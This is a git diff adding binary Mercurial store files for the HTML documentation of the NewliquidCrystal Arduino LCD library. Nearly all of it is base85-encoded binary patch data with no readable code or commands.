zxOl$sv&9-#4mial86{LCLLo90BpiiErYQa0VMh)Y+QTK|Uyw9p{WW_o#DD4e#uUIw zuR5aBF*}$&za8&R`T<2Rty6)@6YIGEq2&b^((v(9{PQIY2aP3$SB{2*QBc0z95l!* z%B9NX*P|eFVz)D2ac{MP7iJRR`OA*);g>7c(EII*y`sZ*jr8jRvKuSc&6@56E}4lL ztd_Ys8zA9?f;VsW=l7v9+G(V9guRXWCgQ_%wkFk>v?yW%hJK1(Q$KkVHk$sd(j*Vm zrp7!mfU>wz`BF243W?wWHX{*7P<9mfV|+yUADyFj?(21X)!ZQH~A9f)hj9^l|pl$WNezyi2FXpFT= z$gJshgXv2Vi3UNS#1!muZ#cpenwv2OexcO{hc@;mH4Z$&J~@VUI=RIaC= z6jSXPNRYYhm8c0OLmvR^k$ii}Sa}fuL#;#7Kp$4iX!;LBv##l^BFM>%-8w5C>}z^t z!!%eCFYOQ31Lwmp-WTW%mnzPz>Efw2Lg*QVm*uQwdKOi2-aJ!2tdgRuS4^{S>zrvA z>XW=Ov5cE@?6^p5GQsjxv9Ncx!+Kwyj0!b>1^R5XH6y2fo0MvcD>Ski)QNu^kM1?1 zRM#;ArS!C~G$djL%zDGtFmFYARPrAf@2*#xCu;`BCMfZ-KC!PrxM?lf6cJXE#iT{9 z?%T27>lBuIO3o_(!qsP4XRZJ3zbbI*60& z0xXG6ZyB(2V67RJd7n4XwBz?h;WLAi%= zev$V+5FZ%#fjfbSbabgNo2VsDt??zAs>NLo z>X9P?Rxk)!h0`o)k#~3u&NKvmwM-OwoYVBmn zAWJ4!0FOnK?d=^gi)Mx^BqxFjie`aksJzt6t+nB(>PWryo7%ChKikCab7Brc zc4;7sgSev7ji$Rj#X1W>8JR5#2Pa#*)>mjOrx84f!2Hq7e#?3bbasD%60Q4LUhs5H z{I&JNu=1Mk?dz^*)m8?@O${8~`HytHh0;$87otq%-H0$CxjT0!4<6f)Se!Od6`0i_YoDc_o% i5dmY$clDBlW8W_&4ep3hS)A#fPZVEnQV`n3mHt0{0Dxft literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.html.i new file mode 100644 index 0000000000000000000000000000000000000000..af4970e118b0249c63734ed55e6086b6aca35aa7 GIT binary patch literal 9198 zcmXwfV{j#0ux)JHwryu(XJXsQgcI8~Cbmy(+t!)b#z``9CdvEezI#_yukPBrt9Mn` z`qNz-3>*v`?0Oge+^@@ba{TBP^Ov(Ao9@+%`8V;_4N*{P zV1TeFKaEeB^c>~Ic%3t3fzRs2K8RpZS|ZGM^}<~Mpm>>1MxZsXQll-aFg_>eqJ89} zm1Uv_Qqtz=A@B|8F_w@9xeHXcJ51Au7O>-{nQR(xrTI_WFJc_oH-5J9xC# z!v|1noT5HONwed=2j&LuaJMp`q1WAdfnEw#5)2uO7avKmf`|m8>deJ^2iI*sX!&n# zh*H1b+(y0gfV4E*c@5_uStsZYP#TJ~3>pu0DAAvvT6GM3g-BdjxG2C>Lm&w?Vu{U_ zDSb6GMV~9sHj@cs{^l7!q*Uw0k0cALylU4zc4@8_Mg>7@10`>E3p}}hK`@#Cscw6N znm(RmW-Iop?`K61N!mw~_YMIYPm#|H5AEBA_u=nC#UY$#hN*pK2=-Nmwn^LDQj!l6!?@)Dt;o=*5{8I8QV)gWnGJ|`Bq|I=X_VMKAs|Z2bgH#PK+=z!H3CK?lbvD zxel-xO30Mv-ZaM_tbm?$9ycaKLC0&@(taBPknYvH`ajkUSwd zicN4Od$>`Ph!NmO^Tep|k0yg8hppM-J&)9I5hV405hBTab$pnplNVIbu6(w@Sz6^& z6R`?}HEh-SE5fN`R&r#ddUN&Eu9174Kfg=~EZiI&Izji>6c+Iep6x zyoW#a2*`bcQ%&s!k=U9`{r-sx0y!j>zf8_w6s?06!M$u~|Lz*f8j1+_r(Mw>>)K98 zM0v?;&xwjvJG+3Ey8JH+RdQ^Bdn)Rqy=tZrCO7sJyDhE>%SRdWHNk*%7r zPt|FU^gxI}B1JP2gL@m}*p94kBJ|bS_^ZuoY}*@s=_B8mN^e&!d%{AtGArNi5ATQN zjC5^Z)dGHYj&r%n^}=syc@Pw}%^tpl7)xrx%hNW{-u3;&%qe}s2RTLC47GE+Ha8zD z6+`=%Q7~O2CDH5ydQqiUNbi{g;1xW5l@TU6rdfmG9t};A#RRi6=YnxZOo~?_^3Pv- z@dMWn(#A1WMnp|_C%vy{>#5f-Y=l;#u)iVU$^tqX9303pHF?52D4kGD+Ojx>X<3)@ zmI2B_Wu8-yF=`8pV<|DmDAa{5)9miOi5v~-J00;e=nM_-3zKP&j%j`6$TwxhG=1?m zJAe*lK7w4=JZ{?82iVbqD4aZWF75MLs?|FSA())t6G7;Eo?M;oJ>CQen69sPsPYk- z82;DXkZ(_aFb(&pgdqV@zXOv9c zzzM9sQm3|Qy*+H)^G;XawGtjJNazmSB6Z=|sEZOd--5jXlO$AJDC#2ge1Hh~zyxDm z=+{J!Dg!0fZZ|nvoxIhyoemL6_fs>xpgJA>L^xX}3Z*~>%79XrFLelnd~|K;WjZeT zN*N=BW`qX({f?vLcL9jFk*p9BKVQrNFee*t!G&;yDljMe*qt?ir;A$1k6*iOkUvaN zF_4q^LijxHqKd<#OBY)p7u?teHk2J@c=ZIOC0`H4)Vsv#O1`PP_MPITB@+J(+X`4O z9Sea%5xbT3k#U@KK7nWCui1>-%r^k+#TFUc!JbjSzY|mr-b{#L$>W4?(>~q;^wGMD zVk?Mx;#|jY5^=`Q?7$Q~&nl#0k?VTW=KKzJ!J5 z`^`t6<(Ap(9fNZsqPOPzb1v-!Ys?8El^wsXgJ#-5Ah3-;s*BvxQ7{gB^ULh*wlfG@a_~UodYM{+OzA~Hl0AKe3 z+BK_s4Q_hO{7kp}>{*X^Dea_k3{(D^Bu#0UagShrO6W=s;MNJA?nD7%wx!q~1NkPh zDJS1j$wMip>7vpcK>P1k)3j|HY^VG z*V2x7&=grxY$u5j3_U`zr4tKRObhD2o8{==ZVn10QuAgrdNU$hap-P=zEu&+mQ!Pj%ff zEJu~TMZ(YMY@9&%dY62aLU0~vmqc1nSSi^k7eFMo7-Sav_e`=8Wt8XD1#T3EpGs6j z5?s$exB#ak?Pwb0f6I~DkPN)!SiIEh1$C(MnZ!JIX(E~vsm`Xzn0gCSX=^;0RGc{; zY31nI26le#uB)5eER0$!v5}Ku7i_*1szcdHb0k+LP`Q5~Os?;BcNPhB;?_GrTl{Uf zOxY3x7fSjSU)~p{--c_kl`<*3Uxl_@VhACKbeadjH*F*Qa*A#=NVKZn54JHQ6w2!c zzV52f&sW~apwOSRyp-{oA?Y#Ln^t#RBXfI!-h*|6Yz)E2zm~mrQb+G^aL2o2my3)| zTDJ5A9wyg{692TtJH-B;Q1OAeB?9}?|PKgV{{@u`mN*V z_25tXF$uoQd5s2FNKuEO8)ErkXyd(|FRz4pl4)7cFwN=S^!a!yvFq*i(a|C3BMwJt zv_FP?8$Ctv_=fMn0)l8R3KRM;QpiX*N8G7M+)21boQ1b3R#ZuUZDLO3LO%Xlf~0Kh zsVp0~{*u2sW2N7|wNg7fq-bcG_!F|9fDhH%BKz$bVs`q%W}gz+34))5i-V>kj#YR} zpkL<8B3oB3-HoxJN~zWT1wD|zOx7iaT&gG@!*s%jJH?divfyk)gcU!O8o;5OoUKYf z*}R4RWO&ug$UHAy~2b2#nx z=Mm?Tet2hPwatol!9N;dh!n#druOA)G^pPzX4pq66-~U9+5Zvr$ty8c(A(dX{qz+- zki&yXCYvEnTqK&~>Qa)l>&$1Y0|uZ}r)Oh1!~Tpis=}K+F+$O97@>TF)z7rrwsqcV zydYjH(#mV4|Iv_O&N1hpH(vIaYi)D{^<~ETBM4Q}>rAK7Z^G$>PL9q3!Dx+bTAmR) zK6V~nh&Ah=D`lPgxhpFK<@<)_@m=>tTovswLY$VVsVgg7vQ)bC6>W!M7G;KZY*1nx zq-JWpjzT$Px&UZ>k%c`N-t5;IYo168==-l1^ibmEmE-W&0o*N!U-cCEx;upM(wa*X zRFfy6Zc!p!Zk02Y@P9wTw?7B#mq)U_Gi@@&I;oUs^gaLtd?dj?eCzz#3pzM6eRUbj zPc)vz+-bSGvdWlJY;i?>mRbM=p?ydZkPbtK9(!yVgUO`}hQcv#>U8(?^xE;IjYuh? z%ecwF;L=Vc48@zdj%FM(fMpQTn~9djPFQP@ttgZt8UQk;6Dh6FN5Sy?kqVQV!3`*W zT2nZKEy$NN$<=S6V0D>3x&KRErO~i@579PQ&Az;pecF2c<>=ZVVsBd^}Rb`YDNRB2+IjY7$6#Xa=wB!6ee zzC{CK#elEFEjZ%76MgRlbwvl#ss{fF9r^lw^D{XoNQL#OGv7cp|W zpz8ZsUzPvz@9zKLm7A_H>$EI}wgaae0H@=KZcFVztE8!Fr!OIOpzdOW4#%=KmOn;# z)!N;yd_dCSx~Jxac+&%qI{3n>WUE?L_BcOt<+nT2ZY}}SFV~&WqcOqCrRIFjIhiR9 z&X>Fv#~|xpu9P0442D!v&M;sNvo;2R+#0xdFa2iPCXCp31V~o{P!urN$*ZO}FEHJ1 zt^Elk^yNU^trCm9jC4e*wSIRYNynFU+oRiaX=N>CJM~}?QP|%b>6(<9C@~Hb+Mx{d zD@^lg)KN!&uT_18prG`IVd4|?mz*C_bkP*vB_vH$7BY19W~`gBD%4^7Nizr6TtWzM z-b66?wpbVZyA((PL%2C)ljaKW*Fw;Lgt7(ovYTq^AK7VdFN}2!JIQo%>Ga(|>d|bn z5>iMp%)~KXdHRd^Sy{if8rrG0MPM=JOc@Npmnc#6{Jd?&WI4xw&Dk<#sFO#JOs;O(x5bMP&`5PYrlL`ZWQ`cse{)0-pL}o9-F{F}fqVUnZTS&x zj_%b%i$Z@XePk@QUqiLxT}5F-ruIp5(}LK|SK#N4F@H?QX4OWLFTxPx3(j@|1Ht&Z zQ#aV&jj>jZyG51L92RlXjoGglsw`C6g&lftP?DbvP##J$o-RR+hyX9kpUwed2#ogEqLH`3==Q zG`p*Pq%k+q;Ep6kMs_94z9577Mof_42lx8PV0=ZXlBiz^;P50ScqQim)dBI=8r$Eg zExQ+2S1xya=U(&NZulShvdcf(%X=;CvY$eCWRIYb|M>MV_KCowK0nBGgN(L&Gvdam zP;IH)M^gB3UHU3^{p?v6x<3#t3$o%y@&m}sl2e4_aO=ABg@hvxC$9DqY_Wvz*%H5f zwed-`OJqeDDm$*4+=b!mbF2FSHo)%-HGJk(4YavN)QW$=>3cbB*r7VT>*~kYwiOrsSbo93u zc(L9ev;cCt3saH?`}|3Z9Y*>i+$C#QTM{x z-WpP)Uz_Lpje*NLq}1Uz^H=T=Z``AC_S1c&-ktAjAlEf!KRn@_t;V#R!9Z_od|xmY zVyNqHz%}EUz8Lj`)IuM^$1{#*P$oiuHbP+?#RaCpvPiUPp`dW~t$7j$DyrJV{*VRI zLw{p;tXIeZRV28~WRch_+YFjPOXv{MAWdwFqVu;zHSP~W8&7TIk4cctMukX7k*Gvv z<{z^Kmuw*zO&T>Xw9q{)59cIjk}=rs@=s}YTlG{B{GPW{DwS!}tr z!MUY52J2&PT&3(|-+H4UOd&+YG=3M`XqDR{7nVAxA3&rqu>i0KqN@x`CM#RlblGh% z)~6}GcS{&hoY=te4W*l>oP=}5VE)Jysm5Asa${hvR=brNJ_9or{f$!HBAHa5%qV&J9E_@QBeECe8i3?RqhF?~I zGL<#~K1$HAR^2(o<46V#uD=TX?J7i5mn#D6YzsP}h6=iz6z(v4G^-5FZ0KX_;sK`=T@=Ex2s@(J2h16+g#}lbqfyH*0zhwKrwlY+f2Vfs z@9D#U&n-YPWU}YP?)A$G^PB#?rsk4OL$7_$;jX~}-S66HM4}~XSsjw;n!&FfbPcuf zEFRjoO_@I5&6mGm2nQ7bA8F)C%LQTXFGFW96R1P4xptY-caM|-3Bz{%s<;|LzKW(> zWajgwm32&)9Q6&odJfCH_?K(o6SqwP z#=6XD0%XxGbO^4(Pc=nb3f6((EY@UVG?s9Aot4oZ8oLKG7N&F5N~-PlH>bS! z)4t)ZA+zFps0LIpOOR5CsFhsl)?U8T;O9cNky{c?s*4;yQNftDg1T1iuzS64_ER`) zgNTtq7DOrLiJAK^xMdWfsSZYn6Ln+fWuC@S#reabXJI{b_Dc^;pY0HAu}0(?NVb|a z3u0oe?ol5N?`Nkum2>~VPDrJDA$)8h4Iq5dIl^z;rTz{G$bKRw9Qj6W_(LL8*V3UN zVy}4RkR2dm5{E`ESZ_mI#xLJ2$FFAtjt|Fe zLUs!S8(378(n1h7$uYFh=>HCQG*ByDnOObm8yDX9IaQAtW}Br=3aIJ;Np(g0SaHY> zWe`Ko2)8%xG~6{Hk5gk0ioy<2~%E!_Yv`B6Z}u`*wW=7r}736=1xtFxzryOnJ7FE6d$u{ z87tgOFvcX4BVJ8>`Yk13H8VJLWGe#bcZ2_Ci|4;s(EHA&hK9;+G0ALoxsT~&lFi?Q zmxOY>GGm_2;kj0G=x>HA)>6I1X<%tmNp3JNTZH8Y?+RgFNn%uzRjMft7p@#&slyDn zD@x!q(V>{4KxZENBB`9#B`<&3`|+8-nK27;HWmVWEFJWDl!&634X@l%>0`DAo(;%_ zLpw6g)qtrXLb$p4hi1J&y2SQA1u>ziPR8)geOwiji$f%YDH_|wyO6c8H{bm}=0ZPw zS~fGBFi-IkPd>5{${cxF{;|`QS3+~6x9CWELSQo3=L9|($aKZwAqnw}4#H4q zji>CKUhc29#Sw%vtautmrHF-B5}E)#nGtr@dBWJ_#I}(~Y7(d|O@CBZT+|%=OWc;a zWp5RJF~)E(CG~UP+=rf_&1Z8Q8knMQ zhFIo)rSTaS$Vl@r%qi7va&`aRmXr-<1%tvve9mux0VE41M>57!$J=^Roaf*{Yxu8P zhB0DYo7Bpga$ZX?%%-!U-S-(&we);B=J~c?vBaIxI}Hicy#N7|xBMo&cD>SeVuSI}g!54*EL)rN6Sm!z1_^E3qMO#UoA z)XB+`1vZvGBW9COU3N^g9j`!f4lzsUqB*Cs9SB4qYjgw*K;G!j9L&L({cE#!Jz3`d zp+G|`b2Uu^elQwZ|64h=K_o#wtepRzSKG8Ay5j`1j1w#L?%qUgw_Ls?50y39_$#}n1)@DCzXK38H7-17jIjIBQRyd zevoPa^D3`Ut2-^=(BVy4#WrJ)$VSrx0U#90d_HriNikGBBbtA-&^V$iT|T@sx_#hZ zcims5=%nTl6ila6?9$ROH+iZk6~{viM%k6@Mc!Oga_042bB@*KcQT`2A!`@bu=P>@%N2GFocg2 z1CKM50LWqgNjOMh%H!5fUpjt^VjSE&f{3(0^pz$X)unA8+>Yz#f`)C zbGOO6v$~lCrY>8E-3uYxBG%Iuh^$@I(^kl_WSJe>u}@Lq&OdHj6z$-KdTE+P`69#2#!GE1F{81zaSle3rwQ9&HK>Ju?o&NQ*RqcJ`{Ae=t@6!0H?Y5-n_TeAA ziza6xF9Y$l$z2UR6JON$3iescpN3OtNh;JtRY7prVgO)trX}pK81+byqar)evvSQ* zH%CSwHkW90TyuJ52QF-EvDqHkf$}!3%tg|PTZ)^W5X)&R?gsQx=7dNXqXQJVcr&*~ zRC*pQEumUM_)?}!P3eVp`aFMb#x`#Fc4L zS|L@Ai(Fl9M0joS{=BLx?z!bjeW%$s=h0F;XKWIbTW=LR7jCd(hIoU~{vsQzu zF=q*r$-SUx&=Y3iS$lOhbM?(^E_eO_2Xtm{BjPoQ!PC1iiPAh{olG?j!u-4EYTHDt z0oYI9+#07hQTvTiP}-^v%O~=~C+u%N1!FBbG}R@CuZnX1g6gvM*YNVrAGJzwD^Lg*6>cUzmD!bU)i%kfXF-8oDgnpOeeCUy_SYzRlqVKjFOQGq7Z21inN! zOG!0K5CuL6+kAl!|K-X4@F{b`8PjsAL=<;2{uDBJ0amvq3jDknD5F)S?$*d_Oy$aR zby9sD?Kt}I+ z=C}D#{U%pIRyv2u<@kllb#3|72wl#510oIQC%mC?;Z1I$>ul9R5oV-M_C&LDsfCrg zt}jCcEhbsesh~j*$YND7m`Kprx)_Q8aCrzJ2CJIxjlFqg9);wWXo=D0JNgU5HH+l& zq|&N8SfQ8-bUD6{;OglWLM}59A0$`XwM77~L_?n13lpB@r4(^9dy9Q_V;ee5dHzti zc~_-DIc|5nKE?mo>H6bL$P5TWRkZ1+L%!SAF8a9SL~;qAf+-{KdzN1(AUGKAUI>60 zhEj;=80oH7t$dzGFfvJ!fnDh94(a!YiajVn6+QWUVx({BH`v?_I0kWFe;9{5iR#Kk zj+x|8a*%{dg%Hy-KI9Psw+4FS+v12<&acPnk${> z^ZjdY+!asjDCFFq=RRj)d3Sv;bJ}-(-m5pxnCx%gch_1_Md-L+LIamt>H`#(jox~y zN!R^(A=%xJqrO$YSx(4#65v=EvIKQl)c)+EOm31RNP&YRrPcNPGJS62i@{O&bXWO< zZQU6SPJ+^8k;1`Vv+mjCqiU_QQ>kIeqF?ctcK+MTKp6(&ZMmuUArX4w2NAHfALhLWpS zR5!yBTItuf^r>(ALpl@~r*%B8TI+S{e6%MF{Iv-6TC3{Q_T}Lin(1fL+c%4gYSwyp zJaVXArZc0!qNp>;dU+nLHMR2iwfl*thK@TT`d{|{!7JA= zNnCz}4J#rvL|zK3XP`Nxo98>sH!e&xXu}S)LC8|a^7v9Exf0H1XLcXFcB5g)jz4H5 z1L5_vaT8DhUOky#$M2F88^Yw5pi)snNsSn2=%A9}BQNK%4e6D_d$r#>f5k`fp zH98`A8*VvJ6tg|X14c`1c$}#882wyt#8j-OxsM?I>37&>sIlV^t8XH;c zicX>w!{yqN#dOvDQCVs4e``{jxa7nkt!+uNU2H3Hc8D8(!794nnrbt|C)1{GIT0sq zGY@rd`#Wu!u+({ywlryhacU*NXhBS1t)Iv3>2>{ Zj7667!=Qz%6-IaxVn7W5@1%;G`G3=k%;Nw6 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.js.i new file mode 100644 index 0000000000000000000000000000000000000000..33f95ebcd338f5651241cd9a65352bd9f0c0488f GIT binary patch literal 349 zcmZQzWME_f14dZ}24)rrn_=sJC@8OJ+kN4hqw(#gH;0zISyncWsc}724VbE!v-YB| zH?t!T+k@)*qe1IkpIJ*D>5jAQkh7VxDMhU_Hio+_`e^-og+=V$B5&pxzdt;C&!ugv zm3@Ql`SgD`{@ztPzs%%Yt^L>N`}<3$Z+^NaJOAd{d^`7b`_h|5U z?N3*^_B=$({iLawz_xpfR-37cHH1W+OSA90oAt4tyDPYV-Ig1(Bq#1rP~Xy|H|0Q) zm$rszNa?E_%_pwWhVhcxO{>C+y-u^5UUXszOXOOyc17c>+MGEXKW;ZY+1Bry{;_e( zT{qSuo)=e=4!qJ)@e{hd@XKA%tIG>3V&3z}u0Q+9JghbURj0X47eQ>pvRX m4?m0GC{9praXJ}x+AL@{*Ulpcn^+q1Gq&ye!BD^PM+yK35ukAZ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.png.i new file mode 100644 index 0000000000000000000000000000000000000000..4edb1de241d19f0f862afe37b5a5f7fd71a3d364 GIT binary patch literal 1157 zcmV;01bX`b0RRC20000000Er<00Er<00000005}}|NsC0|NsB6_*gY!Mb7D$dwej8 zNdXrN37{JQ00000000000001Zoa+qmbLZuf;$mQ6;Pv!y2?Ek}Kpeoq3?yGf8~y=O z5&=FTuK)l42Z_A-TH1eT0+0p92M!!y?YtuoWO9@Q`2{olhk&c6LW~#~7VcA=-1T)D~mu4ldJ)cM^YqUZnTQ|xjT z4;tabenJ10K^n&82bk|`e&4UDbnDyId%OPM+;z2FdP8H4`3GnHqpjs1liqG!DY(z_ z%=)8qN@V9QJ}q!O^`NW!p3C_UJsUn95SSh&-&41!zt#NIhdt~E^Q7e$#jky%RL~)J z-sW!gT$Pivk3@SkMNVxy{cYn9gTmu0^!L6v|L$I~h0QCq?^g}Gx4+S}v5CI_oA>$O z+^O>C3|>~hR-e87Sie=}cMXfz7i#x@JK^;1WAR7!yCOS2Hk?1a{FLzR3h670TxOmG zh9!fitDnm{r-UW|=A+8X000000i6H<0007L0007P000000002B00000|NsC0CJhqq zZRH!|N!pjNZ6*k5`fV7y000000000000000c${NkVBlb2V4Taqz?8zkz`*P2;SvO- z>wvg}gBeJQnXTUkq$C1-LR|m<{|{uoc=NTi|Ih>=3ycpOIKbL@M;^%JC<*clX7~>Q zS5Ji)0S*4`>Eakt!T5IW%c9i=JZ}9*c&h%J@8j&A-tuje@BXqyX6(rmEaOssbkCg0 zr=#TL`bt^J<&W#%DVvuD>ASngJf2e*{q1qp?0@sypKm8qfi(w8b@V@ZZ^3C5C)ua7mpW`E`1eM$dX zeZ{loat^Mq7+sdgIk=!x=Zts`FK9k^H`evl-Mg-TT=!0$eEfdUlMix@x6fC9-tp?e zuf8pF?=77_@9K-^RllF)89crIy|C-mm(x-ug|~m@eaZLFbGx7s_qBWdn%c}Qe)n8! zWiPF&^zKdD_Wo))?|#lI-@W_n@2~r7H0SA?r604)Vy<4lsr_kP-1pku4^IC&H}n49 z!`Eu#zX#`jU&lV{eqZ=Q-Tc#+f2~)#_TJ*af6LYTUwTiBw_y;JUvF+a`6K_@)#+m5 Xo~`qMNrS=D)z4*}Q$iB}9g;2TBz$fb literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c6bc3eee09bda2d0ab1641853ff5f8280d2ddb64 GIT binary patch literal 2806 zcmVZ`(%pyMM)$1vWMiOLLGMGLZ$ecGCu%Y=gwz z?xHA+Io?=IC{jyOKK9q|8FZa7jVL*-R8eP5Ru(EBkAL__K!RD*ES`Gc8vV!GB*(7;vGEq-ohs;Z$m`sMV+VG@iHNRu@=OkW+JkXM z7I~@c(UT6%_vO{-=i(jYV49Z=%=hWR^Cvj7p~i%Q`iF5JLafj7&lLN0?1OjQ(R<85LK?y;W^_1yqB z09=Nay0!R)@A(KVUK*Wk z7H)yi+NF1WL%xc|a_FprA(t;Q$ZbF_RKCRFt}h_U7^v$HaE)EJQ0YputdD{}($+$I z;YatIY6%Ac`Qu`pFRM?iZ5`pQi;<+|;?C8_GgX|!K3t&c9^8;ZuVzCPsJy@1(gB>O zhSE9C%Nk>Gr@$K@|7?T5o$(gxW!}`kqTRLoI=!h&?W~vc^ML5GvR*;xwqhASp;fE( z7J7^LBLf>{Ui-PWv9g@Wc$s&8=XSrsxBLo!pkw)n6X?84mvwyF8JNy*+y&;PcVPE{ zvv$^ZLHcPm;a)CkSs0(!-APxMTix!nZb*Lh;l2)jczEGel_I5aNo}I zmY_4!Q*?G#pH=ujKQm`m^s>8^XfLs+7)edO^r-;qdXB9bRGCklr|Bi(uRpP+H#GF(3vUoy4yw%^`4O19AbNw zDJ@LNZr)TPApBCwMm=^#S%z_6Do05 zmoWtfm*%9ztEj2x&?P{SEbxw48H8Y5GfmE)NWz81UET7dOdB&dsdA|Pf_ zs>4(YkXEJWf7P-nG4PjpYf}3MpUc!2q#b=+EFEy%0;8QutWM&T(?rr#qd5grt;~nq z=Q%Cu7iDI5hlQ{Ez#`{mzLr4gt4TC_HRR ziBj-)AiJh}PQ_^oRD=Ja0#6Ky0hdTmIWr+{p7Hk*yGAxfPBfK}qk-E*7;93a6G|zH z-bt3C$zW16SB2fuy7qjuLtLb2G#EuvVbI($v9Z=+RwFD#iRD&!;a7l(I-ZECEk^Rv zC?7+&jb^SEzx}>L?6EXVSm@%=Iu%isQlJv318PN#DT3dmWmT6ur(BVy(l{DH0ue|P zi8u;fWKiSK)9EA)rhUZUHNpYHNLe9$F2=ZvY?>yVM-ot(B*aNDot1OgHL5A~kwY_) zQpp*bfz&)yCe(@HGB(K?`7RO7MFJ_Rwu~(vOYn8(oz6Jjbt36 zP}4X@f0l-^hzxTeBQvCbcNBLRFk>nrYayiIw39;km_l`=K~u^F3#LW+-OlFuTnWK+ z2rT4Mgdt;^J7%16D0~$riKqViozC>Nj3RW*B9%HqHz6agF<%rEfT>hREd#rl<$_6^ zQ;I>H8mVGnLZKZvZFtHeW>Zi2@lNI<4rLu$727mPwBnXC!y_gz%qxb+#a3rdb~76> zl!XcEhO&mo+Sw!)Gyyy)iO_{1N7CD?`_pn4U1jV9=B$E7krq0!m=3xa?KKv{L`mo{ zzIQ&Rm;ElXpq&Xr&C^gyju|24R68ZOa*2{@B-srXcE{o0BU7OaA*lSJnAIzHm7fH+&q0{%!YV?qhUmy zWf*LEl%{yfkd|sCFbPU*%j_U@4KCQW?$`cmn;xb?Hc5@)5OXKd8|lcgNJ)$jjHi@> z2&R|*CF${Y?e5*0^aUNOw>Mu#blJWKlX_NO`o}K+;O4Ttfr^xi_L;G(Cc071(7o?> zZ^`}J`=2f?__GBC?L#}_FFv{K?{K|(Z%0N1-Ho2qnI_(}H^xLgI%IasqDiNZ0zT&S_*81EfcpncuTZTz*vg94d#t&6V*ya_hA1(ioK?y#(@AoeD+ zb;xmLiQd=O)+lR{o%+TAN^h?6e7dRsEDQ2(SrC*T2??i+6V9G7`Haf8L}FM=sQW6# zy-jh-rVw~lx$3Kdht+v|ZKcpQ6`g=qD>gMjeNSH+)YqfpZnh+2SI3fPd{txUaZLCA I2j+*G3kXJUNdN!< literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3.html.i new file mode 100644 index 0000000000000000000000000000000000000000..dd443390784da4ced5af1a0fbe451df4e82c80fc GIT binary patch literal 2888 zcmV-O3%B$D0RRC20000001F5J04inx00000005}}|NsC0|Ns9RZfjYwp+rsCp85bW zg070peyAY;00000000000001ZoYh)+Pb0Y!|DR9cZKN5HNID4+t`KQA%z+-f83D8N zo>r^KX*)>|?sl*3PT+m|S7rAZ5+Dq-$4axLeN>g}_*MDn{dD$eaP!~K@5t0df_(n+ z%f6ksC#09hy+aRQUe8e|yB68j~FR{(L@f&Uc$q zP5hfH{|;%jadP&vVJb75%rLLN(X$NiA`$D;C1l!1M@Me99m^?$KM^;S;MfNLBMoP# z-ay8N$EI;}pKy-^?(5Vu{LZ+^C&82|&CThToA-@F&j%tVG=ldp2500V94V^qkKqT9 zV*_=s4Hd)dt0DC6l7XOFlPf;vipK%(`EKS$PlWL;nJPX8PIRQ3fz}>TT%3B^+zYO! zoEwiAkSP-d2l(}gno|`_efQ`26m+1%#8i8}(HV8E9?>dTr2I{L{hsdz)Foi@?ta4K z=kxY6D~u$&Co&e2veUPY%`ft<`6<5Uf(Pc@@Mx>GeexED{?urY4?O0I8qUb*o}4+R z;7$k4J<@1AwWL0h*qBj83P$9V#C%S!^Y1OM=<;?*_TlY}snC4qtsC}s`(y){RTRO( z83`FMl!;gUL=#iRDK>&}1t$R)LMJo`DAYCH4o%iAn^I=HX;& zj>&#ExjVr@(8(-|M9FWUCLt#hmKR17LIwEj1%5jVV%G;LCxSP>B@@s+xE{+%Wb`u$ z8iJ33ORKrhBgcjmYsnbJG~!;>-`{MuyRDNRtSPRIOQR82UccS!G~1vl=my3>Y$?@| z3i-H3mNW={VGt@QNMNI98iMV?0QW?=QB88DWJ1CiTrLqb;1NVD8B0aXl-C0>C)_Ng z$n*ezl>6iK4nNRR_#+>fOB>UflJmCb#BuTJ)I@rzsI-buo2&!6MA+}qEKb6h@w=u& zBCE9iB@JVz#LslX3sq702NO#gIr$(}fFS71IZYbJ(qK%~=vu(xdNsk4z&M0RtxbN9 zEsw~8+HkQU!eXHnOP$|0LIa(b_POf$kNV%ON>7*`P&g! zT&Ke5uMl_EuKh({vZKzUiAP3KF?5ht-LV23VBM-PAx6Z*1(eQQ;GF%)Bd6!5!r{(x zTIe^C9IYOxr>bd_5rYu0HLLC(PRoeQ#=q@xCuj#J41`#+~(l7KkomWmvho%4lP#REKr?i5ocAwf<6#k1A0Eb2u0n$|24|itvXXu; zkc{^?!#EHrG#7bX4u$113^F#up&lyuzZeEXwmUqW4z)~Gz%!#Rm8m&J zZN8ZR2j6n-`AL1L>^?5+ckaZcpd-RUI#D#T^}tfn$4m4E#4^>{VyvoBXv=*BLBxWD z?R$Kg4m%)uL=^CGbEzal=<}*6q6ZBY8y*>swb)|=&}*Uitj4ty$*DW56w#`BN-+f~ zn^gk|KnUw??X-51m?|J}Y?K!E)`rM22qH+{<03aH z3udQ$*Ufk!tVcu1hUIG@v6zleJwVIew1cuZrPPAd!u85X#c5axx;n6+T(HF*$OTp; zAZ9p;^W21a*?!uZKdXW*od>h8>JvuN7#Z36?Loji$DL4jo3sxWCKTA>H5a z9vvJVjp@apZ$s*HM8ph^uXuyRTHFSrR-;nKs+p>YjXoT(WSI{g}CWR_| zCPVh;E34J!2m9=x%MM$-(*|{oSkO5f9|pYB8MXMH*VjB|b=}yytJFjU&{NYxu}zpN zzjQpt4GqCZZS3YBE**iRo!JK1yqd86StSJ?8<=BcpfS4gf zhWDTqcF#tZ<=`SGitpUhO22ICQ!7|1@b=18 zJe*Nwuy{tZ5Eo1a4muyn8f6`X$4(XmuRor@zadxeKAd0Qyt~4)ryPfLlMoBTT-%eS 